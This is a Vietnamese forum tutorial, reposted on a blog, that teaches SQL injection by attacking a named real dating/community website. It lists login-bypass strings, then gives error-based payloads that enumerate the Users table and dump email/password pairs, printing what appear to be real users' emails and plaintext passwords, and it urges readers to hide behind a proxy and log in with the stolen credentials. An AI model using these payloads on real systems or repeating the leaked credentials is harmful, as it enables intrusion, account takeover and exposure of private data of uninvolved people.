Trao đổi với tôi

http://www.buidao.com

10/14/09

[Hacking] Tut: Hack by SQL Injection !

Poster: hoahongtim - March 9, 2004 08:31 AM (GMT)
Link: http://invisionfree.com/forums/fantomas311/ar/t42.htm

Nhằm chúc mừng forums mới của em, anh ko có gì để tặng em quá, anh đành phải tìm và post lại bài víêt này thôi, vui vẽ và cố gắng phát triển diễn đàn nhé em!


Cơ bản về Sql Injection !

++ Sau một thời gian tìm hiểu về sql injection, cũng như muốn giúp cho một số bác newbie của HVA (chỉ newbie thôi nhé :-) chứ mấy bác kia thì quá giỏi rùi ..) hiểu một cách gần như hòan chỉnh về sql injeciton ? Vậy sql injeciton là gì ? by pass login là gì ? Có thể hiểu một cách cơ bản nhất về sql injeciton là "lỗi xảy ra trong quá trình xử lý thông tin bên ngòai đưa vào" ..... còn by pass login có thể hiểu là " với by pass thì ta có thể đăng nhập vào bất cứ nơi nào bị dính sql injection mà ta ko cần biết thông tin về user, pass, email ...... " .... cơ bản là như thế đấy, còn muốn hiểu rõ ràng hơn, cũng như khoa học hơn hãy tìm đọc trong các tài liệu của nước ngòai nhé (muốn tìm vào google.com search từ khóa là : sql injection exploit) ... hoặc tham khảo các bài viết của các staff HVA (vicki, mrro, windak, $$$ ....)

++ Vậy by pass login như thế nào ? À, đôi khi bạn truy cập vào 1 số trang nào đó, bạn sẽ để ý có phần đăng nhập ... và bạn muốn đăng nhập với quyền quản trị thì sao ? hì .. hì ... chỉ cần biết user và pass là có thể đăng nhập thôi chứ gì ? Nhưng trong trường hợp ko biết thì pó tay .. hì hì ... vậy by pass login sẽ giúp cho bạn đăng nhập vào nơi đó với quyền cao nhất .. cơ bản là vậy đó nha. Còn đây là một số data giúp bạn submit để xem coi nó bị by pass login ko :


username và password
' or 1=1-- ' or 1=1--
" or 1=1-- " or 1=1--
or 1=1-- or 1=1--
' or 'a'='a ' or 'a'='a
" or "a"="a " or "a"="a
') or ('a'='a ') or ('a'='a

( còn nhiều lắm đó, cơ bản là bao nhiêu đây, bạn có thể thay đổi như thế nào đó mà login được là thành công rồi ! )

++ Vậy sql injection như thế nào ? Thực tập luôn nha (trước khi thực tập thì nên mask bằng proxy nhé, để cho an tòan mà : IP: 171.64.64.216, port: 3128 - proxy này level 5) hi vọng sau khi thực tập xong trang này bạn sẽ tích hợp được phần nào khái niệm hack bằng sql injection, trang mình chọn là : http://www.gayseattle.com theo tìm hiểu sơ qua trang này ko có cc, cũng như ko có thông tin gì quan trọng cả, chủ yếu để các bạn tìm hiểu chứ ko hướng dẫn bạn hack cc .... nếu bạn nào thích thú thì xem như là thành công nho nhỏ rồi đó. Sau khi vào http://www.gayseattle.com bạn nhìn bên phải có 1 form cho đăng nhập, thông tin cần là e-mail và password, để khai thác nhập vào chổ e-mail là những dấu sau (những dấu có màu đỏ nha) : ',",),(, bạn sẽ nhận được một thông báo lỗi dạng như sau (sau khi bạn nhập vào dấu '):



QUOTE
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string '''.

/login.asp, line 41




Wow .. wow .. vậy là trang này dính sql injection rồi, giờ là đến lúc chúng ta khai thác nó. Để lấy các table và column bạn có 2 cách ( dùng ' having 1=1--sp_password, kết hợp với ' group by tên cột đã biết having 1=1--sp_password ).

Dùng cách 1: Nhập vào ' having 1=1--sp_password vào chổ e-mail, bạn sẽ nhận được 1 thông báo như sau :


QUOTE

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'Users.ID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/login.asp, line 41



Vậy là bạn biết tại form này nhận vào table Users và cột đầu tiên mang tên là : ID, giờ khai thác thêm các cột khác : Cũng tại chổ e-mail đó nhập vào : ' group by Users.ID having 1=1--sp_password nhận tiếp 1 thông báo như sau :



QUOTE
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'Users.IRCID' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

/login.asp, line 41




Vậy là biết thêm có 1 cột nữa mang tên là IRCID dùng dấu , giữa 2 cột nhé, giờ lấy tên cột tiếp theo nữa : ' group by Users.ID,Users.IRCID having 1=1--sp_password



QUOTE
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'Users.MatchMakerID' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

/login.asp, line 41



và nhận được thêm 1 cột nữa tên là : MatchMakerID, tiếp tục như thế bạn lấy tên các cột còn lại, đến khi nào hết thì thôi, khi nào lấy hết tên các cột thì nó sẽ trở lại trang login mà không có báo lỗi gì nữa cả. Đến lúc đó bạn đã biết rằng mình đã lấy hết tên các cột rồi đó.

Dùng cách 2: Hãy dạo một vòng trang web, click đại vào 1 link bất kỳ đi, miễn sao link đó có dạng xxx.asp?yyy=???, chẵng hạn như : http://www.gayseattle.com/Community/Yellow...tegory=Clothing, thử xem coi link này dính sql injection ko nhé, bằng cách xóa chử Clothing thay bằng dấu ' (dấu phẩy), (đôi khi một số trường hợp ta ko xóa chử đó mà chỉ cần thêm dấu ' thôi ---> Clothing' ) link sẽ như sau : http://www.gayseattle.com/Community/Yellow...?Category=' Nhận dc một thông báo :

Vậy là xong, link này cũng dính sql injection ..... giờ ta lấy tên của các cột bằng " magic convert " do bên trên ta đã biết trang này có 1 table mang tên là : Users, để nhanh chóng ta đi vào lấy tên các cột của table này luôn mà không cần tìm tất cả các table hiện có.

http://www.gayseattle.com/Community/Yellow...'Users' ))--sp_password

' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='users' ))--sp_password



column_name: tức là lấy tên cột, where table_name='users': chỉ lấy các cột có trong bảng users


Bạn sẽ nhận được 1 thông báo như sau :


QUOTE
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'id' to a column of data type int.

/Community/YellowPages/directory.asp, line 19


cột đầu tiên cũng là id phải không ? quá đúng rồi còn gì nữa, giờ lấy tên các cột tiếp theo :

http://www.gayseattle.com/Community/Yellow...'Users' and column_name not in('id')))--sp_password

' and 1=convert(int,(select top 1 column_name from information_schema.columns
where table_name='users' and column_name not in('id')))--sp_password



QUOTE
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'Firstname' to a column of data type int.

/Community/YellowPages/directory.asp, line 19



Vậy là tên cột tiếp theo là FirstName, lấy tên cột kế tiếp :

http://www.gayseattle.com/Community/Yellow...'Users' and column_name not in('id','firstname')))--sp_password

' and 1=convert(int,(select top 1 column_name from information_schema.columns
where table_name='users' and column_name not in('id','firstname')))--sp_password



QUOTE
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'LastName' to a column of data type int.

/Community/YellowPages/directory.asp, line 19




các cột cách nhau bằng dấu , và tên cột nằm trong 2 dấu nháy '' như sau : ,'tên cột', cứ như vậy ta lấy tên các cột tiếp theo nhé ! Mình cũng đã lấy hết các cột của bảng Users này rồi, bạn tham khảo xem coi có giống của bạn không nhé :

' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in
('id','firstname','lastname','address','city','state','zip','email','password','emailok','postalmailok'
,'gayevents','singleevents','supportgroups'
,'irc','nightlife','businesses','otherinterests','gender','ircnews','monitorresolution'
,'monitorsize','hearaboutus','ircid','matchmakerid','age'
,'address2','dateregistered3','lastvisit','advertiserid','cookies')))--sp_password

Bạn có để ý rằng với 2 cách trên thì thứ tự tên các cột bạn nhận được không giống nhau, nhưng dù cách nào đi nữa thì số cột cuối cùng bạn nhận được cũng như nhau mà thôi !

Lưu ý: Các cậu lệnh dùng để hack phải được viết trên 1 dòng nhé, không được xuống dòng nhé, do khuôn khổ trình bày đôi khi có sai lệch đôi chút, nhưng bạn phải nhớ kỹ nhé !

Vậy coi như là xong 50% rồi, giờ đến lúc bạn lấy info để login vào, trong form login đòi hỏi e-mail và password, giờ hãy nhìn lại số cột mà bạn nhận được từ bảng Users xem, khà khà .. thế nào, có tìm được cột có tên là email và password không, nếu ko có tức là bạn tìm chưa đủ, hãy tìm lại lần nữa nha .... :-)

Khai thác thì có nhiều cách lắm, giờ mình hướng dẫn cách khai thác nhanh nhất, gọn nhất, còn các cách khác bạn chịu khó xem lại tài liệu của các Staff HVA nhé ! Dùng CONVERT để khai thác :

http://www.gayseattle.com/Community/Yellow...))--sp_password

' and 1=convert(int,(select top 1 email%2b'/'%2bpassword from Users))--sp_password

%2b == + (dấu %2b thay thế cho dấu +). Ta sẽ gộp 2 cột lại với nhau bằng dấu '/' để kết quả sau khi nhận được dễ phân biệt hơn. Kết quả bạn sẽ nhận được là :



QUOTE
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'ygdrasil@mindspring.com/laeris' to a column of data type int.

/Community/YellowPages/directory.asp, line 19





Wow ... woow .... xong rùi đó, giờ Back lại trang chính và login vào xem thế nào nhé (http://www.gayseattle.com/login.asp) thành công rồi chứ ?? :-) Giờ làm sao để lấy các thông tin khác nữa .... để lấy thông tin của thành viên khác thì ta sẽ lọai trừ cái email của người mà vừa lấy xong :-)

.......... where email not in('ygdrasil@mindspring.com')

http://www.gayseattle.com/Community/Yellow...))--sp_password

' and 1=convert(int,(select top 1 email%2b'/'%2bpassword from Users where email not in('ygdrasil@mindspring.com')))--sp_password

Kết quả nhận được là :



QUOTE
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'louisk@guiware.com/lmk1234' to a column of data type int.

/Community/YellowPages/directory.asp, line 19




Phù ..... mõi lưng quá, hixhxi ... đi làm 1 ly cà fê cái, hôm nào biết thêm được cái nào hay của Sql injection nữa sẽ viết tiếp cho bạn xem ! Chúc tất cả newbie của HVA thực hành thành công 100% nhé, và nhớ là đừng có phá database của người ta nhé !


--------------------------------------------------------------------------------

Tác giả: Hoa Hong Tim - Mod HVA YM!: hoahongtim_hva